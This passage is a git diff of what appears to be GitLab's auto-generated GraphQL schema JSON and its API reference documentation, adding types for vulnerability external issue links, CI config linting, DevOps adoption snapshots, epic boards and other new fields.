+ "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "VulnerabilityExternalIssueLinkExternalTracker", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityExternalIssueLinkCreatePayload", + "description": "Autogenerated return type of VulnerabilityExternalIssueLinkCreate", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "externalIssueLink", + "description": "The created external issue link.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "VulnerabilityExternalIssueLink", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", + "name": "VulnerabilityExternalIssueLinkDestroyInput", + "description": "Autogenerated input type of VulnerabilityExternalIssueLinkDestroy", + "fields": null, + "inputFields": [ + { + "name": "id", + "description": "The global ID of the vulnerability external issue link.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "VulnerabilitiesExternalIssueLinkID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityExternalIssueLinkDestroyPayload", + "description": "Autogenerated return type of VulnerabilityExternalIssueLinkDestroy", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityExternalIssueLinkEdge", + "description": "An edge in a connection.", + "fields": [ + { + "name": "cursor", + "description": "A cursor for use in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "node", + "description": "The item at the end of the edge.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "VulnerabilityExternalIssueLink", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "ENUM", + "name": "VulnerabilityExternalIssueLinkExternalTracker", + "description": "The external tracker of the external issue link related to a vulnerability", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": [ + { + "name": "JIRA", + "description": "Jira external tracker", + "isDeprecated": false, + "deprecationReason": null + } + ], + "possibleTypes": null + }, + { + "kind": "ENUM", + "name": "VulnerabilityExternalIssueLinkType", + "description": "The type of the external issue link related to a vulnerability", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": [ + { + "name": "CREATED", + "description": "Created link type", + "isDeprecated": false, + "deprecationReason": null + } + ], + "possibleTypes": null + }, + { "kind": "ENUM", "name": "VulnerabilityGrade", "description": "The grade of the vulnerable project", @@ -69054,6 +74655,24 @@ "deprecationReason": null }, { + "name": "adminVulnerabilityExternalIssueLink", + "description": "Indicates the user can perform `admin_vulnerability_external_issue_link` on this resource", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "adminVulnerabilityIssueLink", "description": "Indicates the user can perform `admin_vulnerability_issue_link` on this resource", "args": [ diff --git a/doc/api/graphql/reference/index.md b/doc/api/graphql/reference/index.md index c46f12bcdcd..2842f7893bf 100644 --- a/doc/api/graphql/reference/index.md +++ b/doc/api/graphql/reference/index.md @@ -1,3 +1,9 @@ +--- +stage: Plan +group: Project Management +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + <!--- This documentation is auto generated by a script. @@ -13,14 +19,14 @@ The API can be explored interactively using the [GraphiQL IDE](../index.md#graph Each table below documents a GraphQL type. Types match loosely to models, but not all fields and methods on a model are available via GraphQL. -CAUTION: **Caution:** +WARNING: Fields that are deprecated are marked with **{warning-solid}**. Items (fields, enums, etc) that have been removed according to our [deprecation process](../index.md#deprecation-process) can be found in [Removed Items](../removed_items.md). ## Object types -Object types represent the resources that GitLab's GraphQL API can return. +Object types represent the resources that the GitLab GraphQL API can return. They contain _fields_. Each field has its own type, which will either be one of the basic GraphQL [scalar types](https://graphql.org/learn/schema/#scalar-types) (e.g.: `String` or `Boolean`) or other object types. @@ -236,16 +242,17 @@ Represents a project or group board. | Field | Type | Description | | ----- | ---- | ----------- | -| `assignee` | User | The board assignee. | -| `epics` | BoardEpicConnection | Epics associated with board issues. | -| `hideBacklogList` | Boolean | Whether or not backlog list is hidden. | -| `hideClosedList` | Boolean | Whether or not closed list is hidden. | +| `assignee` | User | The board assignee | +| `epics` | BoardEpicConnection | Epics associated with board issues | +| `hideBacklogList` | Boolean | Whether or not backlog list is hidden | +| `hideClosedList` | Boolean | Whether or not closed list is hidden | | `id` | ID! | ID (global ID) of the board | +| `iteration` | Iteration | The board iteration. | | `labels` | LabelConnection | Labels of the board | | `lists` | BoardListConnection | Lists of the board | -| `milestone` | Milestone | The board milestone. | +| `milestone` | Milestone | The board milestone | | `name` | String | Name of the board | -| `weight` | Int | Weight of the board. | +| `weight` | Int | Weight of the board | ### BoardEpic @@ -367,6 +374,45 @@ Represents the total number of issues and their weights for a particular day. | `scopeCount` | Int! | Number of issues as of this day | | `scopeWeight` | Int! | Total weight of issues as of this day | +### CiConfig + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `errors` | String! => Array | Linting errors | +| `mergedYaml` | String | Merged CI config YAML | +| `stages` | CiConfigStage! => Array | Stages of the pipeline | +| `status` | CiConfigStatus | Status of linting, can be either valid or invalid | + +### CiConfigGroup + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `jobs` | CiConfigJob! => Array | Jobs in group | +| `name` | String | Name of the job group | +| `size` | Int | Size of the job group | + +### CiConfigJob + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `groupName` | String | Name of the job group | +| `name` | String | Name of the job | +| `needs` | CiConfigNeed! => Array | Builds that must complete before the jobs run | +| `stage` | String | Name of the job stage | + +### CiConfigNeed + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `name` | String | Name of the need | + +### CiConfigStage + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `groups` | CiConfigGroup! => Array | Groups of jobs for the stage | +| `name` | String | Name of the stage | + ### CiGroup | Field | Type | Description | @@ -380,12 +426,20 @@ Represents the total number of issues and their weights for a particular day. | Field | Type | Description | | ----- | ---- | ----------- | +| `artifacts` | CiJobArtifactConnection | Artifacts generated by the job | | `detailedStatus` | DetailedStatus | Detailed status of the job | | `name` | String | Name of the job | | `needs` | CiJobConnection | Builds that must complete before the jobs run | -| `pipeline` | Pipeline! | Pipeline the job belongs to | +| `pipeline` | Pipeline | Pipeline the job belongs to | | `scheduledAt` | Time | Schedule for the build | +### CiJobArtifact + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `downloadPath` | String | URL for downloading the artifact's file | +| `fileType` | JobArtifactFileType | File type of the artifact | + ### CiStage | Field | Type | Description | @@ -477,6 +531,7 @@ Represents the code coverage summary for a project. | `message` | String | Raw commit message | | `pipelines` | PipelineConnection | Pipelines of the commit ordered latest first | | `sha` | String! | SHA1 ID of the commit | +| `shortId` | String! | Short SHA1 ID of the commit | | `signatureHtml` | String | Rendered HTML of the commit signature | | `title` | String | Title of the commit message | | `titleHtml` | String | The GitLab Flavored Markdown rendering of `title` | @@ -499,6 +554,9 @@ Represents a ComplianceFramework associated with a Project. | Field | Type | Description | | ----- | ---- | ----------- | +| `color` | String! | Hexadecimal representation of compliance framework's label color | +| `description` | String! | Description of the compliance framework | +| `id` | ID! | Compliance framework ID | | `name` | String! | Name of the compliance framework | ### ConfigureSastPayload @@ -542,6 +600,7 @@ A container repository. | `location` | String! | URL of the container repository. | | `name` | String! | Name of the container repository. | | `path` | String! | Path of the container repository. | +| `project` | Project! | Project of the container registry | | `status` | ContainerRepositoryStatus | Status of the container repository. | | `tagsCount` | Int! | Number of tags associated with this image. | | `updatedAt` | Time! | Timestamp when the container repository was updated. | @@ -560,6 +619,7 @@ Details of a container repository. | `location` | String! | URL of the container repository. | | `name` | String! | Name of the container repository. | | `path` | String! | Path of the container repository. | +| `project` | Project! | Project of the container registry | | `status` | ContainerRepositoryStatus | Status of the container repository. | | `tags` | ContainerRepositoryTagConnection | Tags of the container repository | | `tagsCount` | Int! | Number of tags associated with this image. | @@ -633,6 +693,16 @@ Autogenerated return type of CreateClusterAgent. | `clusterAgent` | ClusterAgent | Cluster agent created after mutation | | `errors` | String! => Array | Errors encountered during execution of the mutation. | +### CreateComplianceFrameworkPayload + +Autogenerated return type of CreateComplianceFramework. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `framework` | ComplianceFramework | The created compliance framework. | + ### CreateCustomEmojiPayload Autogenerated return type of CreateCustomEmoji. @@ -643,6 +713,16 @@ Autogenerated return type of CreateCustomEmoji. | `customEmoji` | CustomEmoji | The new custom emoji | | `errors` | String! => Array | Errors encountered during execution of the mutation. | +### CreateDevopsAdoptionSegmentPayload + +Autogenerated return type of CreateDevopsAdoptionSegment. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `segment` | DevopsAdoptionSegment | The segment after mutation | + ### CreateDiffNotePayload Autogenerated return type of CreateDiffNote. @@ -762,7 +842,7 @@ Represents a DAST scanner profile. | Field | Type | Description | | ----- | ---- | ----------- | | `editPath` | String | Relative web path to the edit page of a scanner profile | -| `globalId` **{warning-solid}** | DastScannerProfileID! | **Deprecated:** Use `id`. Deprecated in 13.6 | +| `globalId` **{warning-solid}** | DastScannerProfileID! | **Deprecated:** Use `id`. Deprecated in 13.6. | | `id` | DastScannerProfileID! | ID of the DAST scanner profile | | `profileName` | String | Name of the DAST scanner profile | | `scanType` | DastScanTypeEnum | Indicates the type of DAST scan that will run. Either a Passive Scan or an Active Scan. | @@ -779,7 +859,7 @@ Autogenerated return type of DastScannerProfileCreate. | ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -| `globalId` **{warning-solid}** | DastScannerProfileID | **Deprecated:** Use `id`. Deprecated in 13.6 | +| `globalId` **{warning-solid}** | DastScannerProfileID | **Deprecated:** Use `id`. Deprecated in 13.6. | | `id` | DastScannerProfileID | ID of the scanner profile. | ### DastScannerProfileDeletePayload @@ -809,6 +889,7 @@ Represents a DAST Site Profile. | ----- | ---- | ----------- | | `editPath` | String | Relative web path to the edit page of a site profile | | `id` | DastSiteProfileID! | ID of the site profile | +| `normalizedTargetUrl` | String | Normalized URL of the target to be scanned | | `profileName` | String | The name of the site profile | | `targetUrl` | String | The URL of the target to be scanned | | `userPermissions` | DastSiteProfilePermissions! | Permissions for the current user on the resource | @@ -869,8 +950,9 @@ Represents a DAST Site Validation. | Field | Type | Description | | ----- | ---- | ----------- | -| `id` | DastSiteValidationID! | ID of the site validation | -| `status` | DastSiteProfileValidationStatusEnum! | The status of the validation | +| `id` | DastSiteValidationID! | Global ID of the site validation | +| `normalizedTargetUrl` | String | Normalized URL of the target to be validated | +| `status` | DastSiteProfileValidationStatusEnum! | Status of the site validation | ### DastSiteValidationCreatePayload @@ -892,6 +974,15 @@ Autogenerated return type of DeleteAnnotation. | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | +### DeleteDevopsAdoptionSegmentPayload + +Autogenerated return type of DeleteDevopsAdoptionSegment. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | + ### DeleteJobsResponse The response from the AdminSidekiqQueuesDeleteJobs mutation. @@ -1027,6 +1118,15 @@ Autogenerated return type of DestroyBoard. | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | +### DestroyComplianceFrameworkPayload + +Autogenerated return type of DestroyComplianceFramework. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | + ### DestroyContainerRepositoryPayload Autogenerated return type of DestroyContainerRepository. @@ -1037,6 +1137,16 @@ Autogenerated return type of DestroyContainerRepository. | `containerRepository` | ContainerRepository! | The container repository policy after scheduling the deletion. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | +### DestroyContainerRepositoryTagsPayload + +Autogenerated return type of DestroyContainerRepositoryTags. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `deletedTagNames` | String! => Array | Deleted container repository tags | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | + ### DestroyNotePayload Autogenerated return type of DestroyNote. @@ -1077,10 +1187,28 @@ Segment. | Field | Type | Description | | ----- | ---- | ----------- | -| `groups` | GroupConnection | Assigned groups | +| `groups` | Group! => Array | Assigned groups | | `id` | ID! | ID of the segment | +| `latestSnapshot` | DevopsAdoptionSnapshot | The latest adoption metrics for the segment | | `name` | String! | Name of the segment | +### DevopsAdoptionSnapshot + +Snapshot. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `deploySucceeded` | Boolean! | At least one deployment succeeded | +| `endTime` | Time! | The end time for the snapshot where the data points were collected | +| `issueOpened` | Boolean! | At least one issue was opened | +| `mergeRequestApproved` | Boolean! | At least one merge request was approved | +| `mergeRequestOpened` | Boolean! | At least one merge request was opened | +| `pipelineSucceeded` | Boolean! | At least one pipeline succeeded | +| `recordedAt` | Time! | The time the snapshot was recorded | +| `runnerConfigured` | Boolean! | At least one runner was used | +| `securityScanSucceeded` | Boolean! | At least one security scan succeeded | +| `startTime` | Time! | The start time for the snapshot where the data points were collected | + ### DiffPosition | Field | Type | Description | @@ -1243,6 +1371,15 @@ Autogenerated return type of EpicAddIssue. | `epicIssue` | EpicIssue | The epic-issue relation | | `errors` | String! => Array | Errors encountered during execution of the mutation. | +### EpicBoard + +Represents an epic board. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `id` | BoardsEpicBoardID! | Global ID of the board | +| `name` | String | Name of the board | + ### EpicDescendantCount Counts of descendent epics. @@ -1282,8 +1419,8 @@ Relationship between an epic and an issue. | `alertManagementAlert` | AlertManagementAlert | Alert associated to this issue | | `assignees` | UserConnection | Assignees of the issue | | `author` | User! | User that created the issue | -| `blocked` | Boolean! | Indicates the issue is blocked | -| `blockedByCount` | Int | Count of issues blocking this issue | +| `blocked` | Boolean! | Indicates the issue is blocked. | +| `blockedByCount` | Int | Count of issues blocking this issue. | | `closedAt` | Time | Timestamp of when the issue was closed | | `confidential` | Boolean! | Indicates the issue is confidential | | `createdAt` | Time! | Timestamp of when the issue was created | @@ -1296,15 +1433,16 @@ Relationship between an epic and an issue. | `downvotes` | Int! | Number of downvotes the issue has received | | `dueDate` | Time | Due date of the issue | | `emailsDisabled` | Boolean! | Indicates if a project has email notifications disabled: `true` if email notifications are disabled | -| `epic` | Epic | Epic to which this issue belongs | +| `epic` | Epic | Epic to which this issue belongs. | | `epicIssueId` | ID! | ID of the epic-issue relation | -| `healthStatus` | HealthStatus | Current health status. Returns null if `save_issuable_health_status` feature flag is disabled. | +| `healthStatus` | HealthStatus | Current health status. | | `humanTimeEstimate` | String | Human-readable time estimate of the issue | | `humanTotalTimeSpent` | String | Human-readable total time reported as spent on the issue | | `id` | ID | Global ID of the epic-issue relation | | `iid` | ID! | Internal ID of the issue | -| `iteration` | Iteration | Iteration of the issue | +| `iteration` | Iteration | Iteration of the issue. | | `labels` | LabelConnection | Labels of the issue | +| `metricImages` | MetricImage! => Array | Metric images associated to the issue. | | `milestone` | Milestone | Milestone of the issue | | `moved` | Boolean | Indicates if issue got moved from other project | | `movedTo` | Issue | Updated Issue after it got moved to another project | @@ -1316,7 +1454,7 @@ Relationship between an epic and an issue. | `severity` | IssuableSeverity | Severity level of the incident | | `slaDueAt` | Time | Timestamp of when the issue SLA expires. | | `state` | IssueState! | State of the issue | -| `statusPagePublishedIncident` | Boolean | Indicates whether an issue is published to the status page | +| `statusPagePublishedIncident` | Boolean | Indicates whether an issue is published to the status page. | | `subscribed` | Boolean! | Indicates the currently logged in user is subscribed to the issue | | `taskCompletionStatus` | TaskCompletionStatus! | Task completion status of the issue | | `timeEstimate` | Int! | Time estimate of the issue | @@ -1332,7 +1470,7 @@ Relationship between an epic and an issue. | `userPermissions` | IssuePermissions! | Permissions for the current user on the resource | | `webPath` | String! | Web path of the issue | | `webUrl` | String! | Web URL of the issue | -| `weight` | Int | Weight of the issue | +| `weight` | Int | Weight of the issue. | ### EpicPermissions @@ -1368,6 +1506,20 @@ Autogenerated return type of EpicTreeReorder. | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | +### ExternalIssue + +Represents an external issue. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `createdAt` | Time | Timestamp of when the issue was created | +| `externalTracker` | String | Type of external tracker | +| `relativeReference` | String | Relative reference of the issue in the external tracker | +| `status` | String | Status of the issue in the external tracker | +| `title` | String | Title of the issue in the external tracker | +| `updatedAt` | Time | Timestamp of when the issue was updated | +| `webUrl` | String | URL to the issue in the external tracker | + ### GeoNode | Field | Type | Description | @@ -1386,7 +1538,7 @@ Autogenerated return type of EpicTreeReorder. | `selectiveSyncNamespaces` | NamespaceConnection | The namespaces that should be synced, if `selective_sync_type` == `namespaces` | | `selectiveSyncShards` | String! => Array | The repository storages whose projects should be synced, if `selective_sync_type` == `shards` | | `selectiveSyncType` | String | Indicates if syncing is limited to only specific groups, or shards | -| `snippetRepositoryRegistries` | SnippetRepositoryRegistryConnection | Find snippet repository registries on this Geo node. Available only when feature flag `geo_snippet_repository_replication` is enabled | +| `snippetRepositoryRegistries` | SnippetRepositoryRegistryConnection | Find snippet repository registries on this Geo node | | `syncObjectStorage` | Boolean | Indicates if this secondary node will replicate blobs in Object Storage | | `terraformStateVersionRegistries` | TerraformStateVersionRegistryConnection | Find terraform state version registries on this Geo node | | `url` | String | The user-facing URL for this Geo node | @@ -1412,14 +1564,18 @@ Autogenerated return type of EpicTreeReorder. | `avatarUrl` | String | Avatar URL of the group | | `board` | Board | A single board of the group | | `boards` | BoardConnection | Boards of the group | -| `codeCoverageActivities` | CodeCoverageActivityConnection | Represents the code coverage activity for this group. Available only when feature flag `group_coverage_data_report_graph` is enabled | -| `containerRepositories` | ContainerRepositoryConnection | Container repositories of the project | +| `codeCoverageActivities` | CodeCoverageActivityConnection | Represents the code coverage activity for this group | +| `complianceFrameworks` | ComplianceFrameworkConnection | Compliance frameworks available to projects in this namespace Available only when feature flag `ff_custom_compliance_frameworks` is enabled. | +| `containerRepositories` | ContainerRepositoryConnection | Container repositories of the group | +| `containerRepositoriesCount` | Int! | Number of container repositories in the group | | `containsLockedProjects` | Boolean! | Includes at least one project where the repository size exceeds the limit | -| `customEmoji` | CustomEmojiConnection | Custom emoji within this namespace. Available only when feature flag `custom_emoji` is enabled | +| `customEmoji` | CustomEmojiConnection | Custom emoji within this namespace Available only when feature flag `custom_emoji` is enabled. | | `description` | String | Description of the namespace | | `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` | | `emailsDisabled` | Boolean | Indicates if a group has email notifications disabled | | `epic` | Epic | Find a single epic | +| `epicBoard` | EpicBoard | Find a single epic board | +| `epicBoards` | EpicBoardConnection | Find epic boards | | `epics` | EpicConnection | Find epics | | `epicsEnabled` | Boolean | Indicates if Epics are enabled for namespace | | `fullName` | String! | Full name of the namespace | @@ -1458,7 +1614,7 @@ Autogenerated return type of EpicTreeReorder. | `visibility` | String | Visibility of the namespace | | `vulnerabilities` | VulnerabilityConnection | Vulnerabilities reported on the projects in the group and its subgroups | | `vulnerabilitiesCountByDay` | VulnerabilitiesCountByDayConnection | Number of vulnerabilities per day for the projects in the group and its subgroups | -| `vulnerabilitiesCountByDayAndSeverity` **{warning-solid}** | VulnerabilitiesCountByDayAndSeverityConnection | **Deprecated:** Use `vulnerabilitiesCountByDay`. Deprecated in 13.3 | +| `vulnerabilitiesCountByDayAndSeverity` **{warning-solid}** | VulnerabilitiesCountByDayAndSeverityConnection | **Deprecated:** Use `vulnerabilitiesCountByDay`. Deprecated in 13.3. | | `vulnerabilityGrades` | VulnerableProjectsByGrade! => Array | Represents vulnerable project counts for each grade | | `vulnerabilityScanners` | VulnerabilityScannerConnection | Vulnerability scanners reported on the project vulnerabilties of the group and its subgroups | | `vulnerabilitySeveritiesCount` | VulnerabilitySeveritiesCount | Counts for each vulnerability severity in the group and its subgroups | @@ -1543,6 +1699,17 @@ Autogenerated return type of HttpIntegrationUpdate. | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `integration` | AlertManagementHttpIntegration | The HTTP integration | +### IncidentManagementOncallSchedule + +Describes an incident management on-call schedule. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `description` | String | Description of the on-call schedule | +| `iid` | ID! | Internal ID of the on-call schedule | +| `name` | String! | Name of the on-call schedule | +| `timezone` | String! | Time zone of the on-call schedule | + ### InstanceSecurityDashboard | Field | Type | Description | @@ -1569,8 +1736,8 @@ Represents a recorded measurement (object count) for the Admins. | `alertManagementAlert` | AlertManagementAlert | Alert associated to this issue | | `assignees` | UserConnection | Assignees of the issue | | `author` | User! | User that created the issue | -| `blocked` | Boolean! | Indicates the issue is blocked | -| `blockedByCount` | Int | Count of issues blocking this issue | +| `blocked` | Boolean! | Indicates the issue is blocked. | +| `blockedByCount` | Int | Count of issues blocking this issue. | | `closedAt` | Time | Timestamp of when the issue was closed | | `confidential` | Boolean! | Indicates the issue is confidential | | `createdAt` | Time! | Timestamp of when the issue was created | @@ -1583,14 +1750,15 @@ Represents a recorded measurement (object count) for the Admins. | `downvotes` | Int! | Number of downvotes the issue has received | | `dueDate` | Time | Due date of the issue | | `emailsDisabled` | Boolean! | Indicates if a project has email notifications disabled: `true` if email notifications are disabled | -| `epic` | Epic | Epic to which this issue belongs | -| `healthStatus` | HealthStatus | Current health status. Returns null if `save_issuable_health_status` feature flag is disabled. | +| `epic` | Epic | Epic to which this issue belongs. | +| `healthStatus` | HealthStatus | Current health status. | | `humanTimeEstimate` | String | Human-readable time estimate of the issue | | `humanTotalTimeSpent` | String | Human-readable total time reported as spent on the issue | | `id` | ID! | ID of the issue | | `iid` | ID! | Internal ID of the issue | -| `iteration` | Iteration | Iteration of the issue | +| `iteration` | Iteration | Iteration of the issue. | | `labels` | LabelConnection | Labels of the issue | +| `metricImages` | MetricImage! => Array | Metric images associated to the issue. | | `milestone` | Milestone | Milestone of the issue | | `moved` | Boolean | Indicates if issue got moved from other project | | `movedTo` | Issue | Updated Issue after it got moved to another project | @@ -1601,7 +1769,7 @@ Represents a recorded measurement (object count) for the Admins. | `severity` | IssuableSeverity | Severity level of the incident | | `slaDueAt` | Time | Timestamp of when the issue SLA expires. | | `state` | IssueState! | State of the issue | -| `statusPagePublishedIncident` | Boolean | Indicates whether an issue is published to the status page | +| `statusPagePublishedIncident` | Boolean | Indicates whether an issue is published to the status page. | | `subscribed` | Boolean! | Indicates the currently logged in user is subscribed to the issue | | `taskCompletionStatus` | TaskCompletionStatus! | Task completion status of the issue | | `timeEstimate` | Int! | Time estimate of the issue | @@ -1617,7 +1785,7 @@ Represents a recorded measurement (object count) for the Admins. | `userPermissions` | IssuePermissions! | Permissions for the current user on the resource | | `webPath` | String! | Web path of the issue | | `webUrl` | String! | Web URL of the issue | -| `weight` | Int | Weight of the issue | +| `weight` | Int | Weight of the issue. | ### IssueMoveListPayload @@ -1878,11 +2046,14 @@ Autogenerated return type of MarkAsSpamSnippet. | `assignees` | UserConnection | Assignees of the merge request | | `author` | User | User who created this merge request | | `autoMergeEnabled` | Boolean! | Indicates if auto merge is enabled for the merge request | +| `availableAutoMergeStrategies` | String! => Array | Array of available auto merge strategies | | `commitCount` | Int | Number of commits in the merge request | +| `commitsWithoutMergeCommits` | CommitConnection | Merge request commits excluding merge commits | | `conflicts` | Boolean! | Indicates if the merge request has conflicts | | `createdAt` | Time! | Timestamp of when the merge request was created | | `currentUserTodos` | TodoConnection! | Todos for the current user | | `defaultMergeCommitMessage` | String | Default merge commit message of the merge request | +| `defaultMergeCommitMessageWithDescription` | String | Default merge commit message of the merge request with description | | `description` | String | Description of the merge request (Markdown rendered as HTML for caching) | | `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` | | `diffHeadSha` | String | Diff head SHA of the merge request | @@ -1893,6 +2064,7 @@ Autogenerated return type of MarkAsSpamSnippet. | `discussions` | DiscussionConnection! | All discussions on this noteable | | `downvotes` | Int! | Number of downvotes for the merge request | | `forceRemoveSourceBranch` | Boolean | Indicates if the project settings will lead to source branch deletion after merge | +| `hasCi` | Boolean! | Indicates if the merge request has CI | | `headPipeline` | Pipeline | The pipeline running on the branch HEAD of the merge request | | `id` | ID! | ID of the merge request | | `iid` | String! | Internal ID of the merge request | @@ -1902,24 +2074,29 @@ Autogenerated return type of MarkAsSpamSnippet. | `mergeError` | String | Error message due to a merge error | | `mergeOngoing` | Boolean! | Indicates if a merge is currently occurring | | `mergeStatus` | String | Status of the merge request | +| `mergeTrainsCount` | Int | | | `mergeWhenPipelineSucceeds` | Boolean | Indicates if the merge has been set to be merged when its pipeline succeeds (MWPS) | +| `mergeable` | Boolean! | Indicates if the merge request is mergeable | | `mergeableDiscussionsState` | Boolean | Indicates if all discussions in the merge request have been resolved, allowing the merge request to be merged | | `mergedAt` | Time | Timestamp of when the merge request was merged, null if not merged | | `milestone` | Milestone | The milestone of the merge request | | `notes` | NoteConnection! | All notes on this noteable | | `participants` | UserConnection | Participants in the merge request | -| `pipelines` | PipelineConnection | Pipelines for the merge request | +| `pipelines` | PipelineConnection | Pipelines for the merge request. Note: for performance reasons, no more than the most recent 500 pipelines will be returned. | | `project` | Project! | Alias for target_project | | `projectId` | Int! | ID of the merge request project | | `rebaseCommitSha` | String | Rebase commit SHA of the merge request | | `rebaseInProgress` | Boolean! | Indicates if there is a rebase currently in progress for the merge request | | `reference` | String! | Internal reference of the merge request. Returned in shortened format by default | +| `securityAutoFix` | Boolean | Indicates if the merge request is created by @GitLab-Security-Bot. | | `shouldBeRebased` | Boolean! | Indicates if the merge request will be rebased | | `shouldRemoveSourceBranch` | Boolean | Indicates if the source branch of the merge request will be deleted after merge | | `sourceBranch` | String! | Source branch of the merge request | | `sourceBranchExists` | Boolean! | Indicates if the source branch of the merge request exists | +| `sourceBranchProtected` | Boolean! | Indicates if the source branch is protected | | `sourceProject` | Project | Source project of the merge request | | `sourceProjectId` | Int | ID of the merge request source project | +| `squashOnMerge` | Boolean! | Indicates if squash on merge is enabled | | `state` | MergeRequestState! | State of the merge request | | `subscribed` | Boolean! | Indicates if the currently logged in user is subscribed to this merge request | | `targetBranch` | String! | Target branch of the merge request | @@ -2057,6 +2234,18 @@ Autogenerated return type of MergeRequestUpdate. | `revision` | String! | Revision | | `version` | String! | Version | +### MetricImage + +Represents a metric image upload. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `fileName` | String | File name of the metric image | +| `filePath` | String | File path of the metric image | +| `id` | ID! | ID of the metric upload | +| `iid` | ID! | Internal ID of the metric upload | +| `url` | String! | URL of the metric source | + ### MetricsDashboard | Field | Type | Description | @@ -2111,6 +2300,7 @@ Contains statistics about a milestone. | ----- | ---- | ----------- | | `actualRepositorySizeLimit` | Float | Size limit for repositories in the namespace in bytes | | `additionalPurchasedStorageSize` | Float | Additional storage purchased for the root namespace in bytes | +| `complianceFrameworks` | ComplianceFrameworkConnection | Compliance frameworks available to projects in this namespace Available only when feature flag `ff_custom_compliance_frameworks` is enabled. | | `containsLockedProjects` | Boolean! | Includes at least one project where the repository size exceeds the limit | | `description` | String | Description of the namespace | | `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` | @@ -2174,6 +2364,36 @@ 